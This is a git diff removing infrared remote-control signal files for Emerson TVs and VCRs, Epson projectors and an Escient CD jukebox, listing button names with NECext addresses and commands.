-Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: stop/clear -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 20 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 01 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir deleted file mode 100644 index cc93eadee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emerson/134,5.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 0F 00 00 00 -# -name: QuickView -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 10 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 14 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 15 00 00 00 -# -name: SetDown -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 16 00 00 00 -# -name: Call -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 18 00 00 00 -# -name: Reset -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 19 00 00 00 -# -name: Caption -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1C 00 00 00 -# -name: CapChan -type: parsed -protocol: NECext -address: 86 05 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir deleted file mode 100644 index 45eb2f486..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/Unknown_emersontv/22,22.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 0F 00 00 00 -# -name: quick_view -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 10 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 13 00 00 00 -# -name: add -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 14 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 15 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 16 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 17 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 1A 00 00 00 -# -name: KEY_CLOSE -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 1C 00 00 00 -# -name: cc_channel -type: parsed -protocol: NECext -address: 16 16 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir deleted file mode 100644 index af35a9eef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/21,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: P/S -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: CM.SKIP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir deleted file mode 100644 index 4af947523..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/4,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir deleted file mode 100644 index d588d9c93..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Emerson/VCR/40,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 00 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 04 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 06 00 00 00 -# -name: CHANNEL- -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0B 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0C 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 10 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 15 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 1F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 20 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 21 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 22 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 23 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 24 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 25 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 26 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 27 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 29 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 28 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir deleted file mode 100644 index 6efe25e0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Projector/131,85.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: S._TONE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 2A 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 2C 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 2C 00 00 00 -# -name: COLOR_TEMP. -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 2D 00 00 00 -# -name: COLOR_TEMP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 2D 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 70 00 00 00 -# -name: SOURCE_VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 70 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 70 00 00 00 -# -name: SOURCE_INPUT_A -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 71 00 00 00 -# -name: INPUT_A -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 71 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 71 00 00 00 -# -name: SOURCE_D4 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 72 00 00 00 -# -name: INPUT_D4/SCART -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 72 00 00 00 -# -name: INPUT_HDMI -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 73 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 73 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 76 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 77 00 00 00 -# -name: GAMMA -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 7E 00 00 00 -# -name: ESC -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 84 00 00 00 -# -name: ESCAPE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 84 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8B 00 00 00 -# -name: SOURCE_SEARCH -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8C 00 00 00 -# -name: FOCUS -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8C 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8E 00 00 00 -# -name: COLOR_MODE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 91 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 92 00 00 00 -# -name: A/V_MUTE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 93 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 93 00 00 00 -# -name: COMPUTER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 94 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 95 00 00 00 -# -name: PATTERN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 96 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 98 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 99 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 00 00 00 -# -name: SOURCE_S-VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9C 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9C 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9C 00 00 00 -# -name: SOURCE_INPUT_B -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 00 00 00 -# -name: INPUT_B -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 00 00 00 -# -name: PC -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9E 00 00 00 -# -name: USER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B1 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B1 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir deleted file mode 100644 index b5211869d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 84 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 86 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 87 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 88 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 89 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8A 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 92 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 93 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 95 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 96 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 97 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 98 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 99 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9E 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B1 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir deleted file mode 100644 index 793e10385..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 84 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8B 00 00 00 -# -name: COLOR-MODE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 92 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 93 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9C 00 00 00 -# -name: INPUT-A-B -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B1 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir deleted file mode 100644 index a6db190d6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Epson/Video Projector/131,85.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DEFAULT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 39 00 00 00 -# -name: SHARPNESS -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 3B 00 00 00 -# -name: RGBCMY -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 3D 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 70 00 00 00 -# -name: INPUT_COMPONENT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 71 00 00 00 -# -name: INPUT_HDMI_1 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 73 00 00 00 -# -name: INPUT_HDMI_2 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 77 00 00 00 -# -name: GAMMA -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 7E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 84 00 00 00 -# -name: CURSER_ENTER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8A 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8B 00 00 00 -# -name: COLOR_MODE -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 8F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 91 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 93 00 00 00 -# -name: PATTERN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 96 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9C 00 00 00 -# -name: INPUT_PC -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir deleted file mode 100644 index ae488b237..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: NEXT_PAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: BOTTOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: ADVANCED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: SONG_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: DONE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: TOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: SONG_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: UP -type: parsed 